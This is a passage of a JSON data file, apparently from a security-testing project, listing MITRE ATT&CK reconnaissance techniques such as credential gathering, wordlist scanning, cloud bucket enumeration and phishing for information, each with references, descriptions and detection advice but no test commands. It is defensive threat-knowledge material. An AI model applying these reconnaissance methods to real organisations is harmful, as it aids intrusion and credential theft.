- "description": "Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:22:46.759Z",
- "name": "Firmware",
- "description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1592.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884",
- "type": "attack-pattern",
- "created": "2020-10-02T16:42:17.482Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1592.002",
- "url": "https://attack.mitre.org/techniques/T1592/002"
- },
- {
- "source_name": "ATT ScanBox",
- "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
- "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T16:33:19.596Z",
- "name": "Software",
- "description": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1593.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3",
- "type": "attack-pattern",
- "created": "2020-10-02T16:49:31.262Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1593.001",
- "url": "https://attack.mitre.org/techniques/T1593/001"
- },
- {
- "source_name": "Cyware Social Media",
- "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e",
- "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:52:40.958Z",
- "name": "Social Media",
- "description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1589.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vinayak Wadhwa, Lucideus",
- "Lee Christensen, SpecterOps",
- "Toby Kohlenberg"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161",
- "type": "attack-pattern",
- "created": "2020-10-02T14:55:43.815Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1589.001",
- "url": "https://attack.mitre.org/techniques/T1589/001"
- },
- {
- "source_name": "ATT ScanBox",
- "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
- "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
- },
- {
- "source_name": "Register Deloitte",
- "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/",
- "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."
- },
- {
- "source_name": "Register Uber",
- "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/",
- "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020."
- },
- {
- "source_name": "Detectify Slack Tokens",
- "url": "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/",
- "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020."
- },
- {
- "source_name": "Forbes GitHub Creds",
- "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196",
- "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020."
- },
- {
- "source_name": "GitHub truffleHog",
- "url": "https://github.com/dxa4481/truffleHog",
- "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020."
- },
- {
- "source_name": "GitHub Gitrob",
- "url": "https://github.com/michenriksen/gitrob",
- "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020."
- },
- {
- "source_name": "CNET Leaks",
- "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/",
- "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:26:44.352Z",
- "name": "Credentials",
- "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1595.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jan Petrov, Citi",
- "Elvis Veliz, Citi",
- "Richard Julian, Citi"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46",
- "created": "2022-03-04T18:56:38.844Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1595.003",
- "url": "https://attack.mitre.org/techniques/T1595/003"
- },
- {
- "source_name": "ClearSky Lebanese Cedar Jan 2021",
- "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
- "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
- },
- {
- "source_name": "GCPBucketBrute",
- "url": "https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/",
- "description": "Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022."
- },
- {
- "source_name": "S3Recon GitHub",
- "url": "https://github.com/clarketm/s3recon",
- "description": "Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage Object](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ",
- "modified": "2022-04-15T19:10:23.838Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Wordlist Scanning",
- "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. \n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1591.004": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4",
- "type": "attack-pattern",
- "created": "2020-10-02T16:37:30.015Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1591.004",
- "url": "https://attack.mitre.org/techniques/T1591/004"
- },
- {
- "source_name": "ThreatPost Broadvoice Leak",
- "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
- "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:39:08.904Z",
- "name": "Identify Roles",
- "description": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1598": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Philip Winther",
- "Sebastian Salla, McAfee",
- "Robert Simmons, @MalwareUtkonos"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a",
- "type": "attack-pattern",
- "created": "2020-10-02T17:07:01.502Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1598",
- "url": "https://attack.mitre.org/techniques/T1598"
- },
- {
- "source_name": "ThreatPost Social Media Phishing",
- "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/",
- "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."
- },
- {
- "source_name": "TrendMictro Phishing",
- "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html",
- "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."
- },
- {
- "source_name": "PCMag FakeLogin",
- "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages",
- "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020."
- },
- {
- "source_name": "Sophos Attachment",
- "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/",
- "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020."
- },
- {
- "source_name": "GitHub Phishery",
- "url": "https://github.com/ryhanson/phishery",
- "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020."
- },
- {
- "source_name": "Microsoft Anti Spoofing",
- "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
- "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
- },
- {
- "source_name": "ACSC Email Spoofing",
- "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
- "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
- }
- ],
- "modified": "2022-03-08T21:57:56.078Z",
- "name": "Phishing for Information",
- "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\n\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Flow"
- ]
- },
- "atomic_tests": []
- },
- "T1595.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120",
- "type": "attack-pattern",
- "created": "2020-10-02T16:54:23.193Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1595.001",
- "url": "https://attack.mitre.org/techniques/T1595/001"
- },
- {
- "source_name": "Botnet Scan",
- "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf",
- "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:19:38.469Z",
- "name": "Scanning IP Blocks",
- "description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow"
- ]
- },
- "atomic_tests": []
- },
- "T1590.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d",
- "type": "attack-pattern",
- "created": "2020-10-02T15:46:24.670Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1590.001",
- "url": "https://attack.mitre.org/techniques/T1590/001"
- },
- {
- "source_name": "WHOIS",
- "url": "https://www.whois.net/",
- "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."
- },
- {
- "source_name": "DNS Dumpster",
- "url": "https://dnsdumpster.com/",
- "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
- },
- {
- "source_name": "Circl Passive DNS",
- "url": "https://www.circl.lu/services/passive-dns/",
- "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:30:33.508Z",
- "name": "Domain Properties",
- "description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1596.005": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f",
- "type": "attack-pattern",
- "created": "2020-10-02T17:00:44.586Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1596.005",
- "url": "https://attack.mitre.org/techniques/T1596/005"
- },
- {
- "source_name": "Shodan",
- "url": "https://shodan.io",
- "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:49:49.260Z",
- "name": "Scan Databases",
- "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
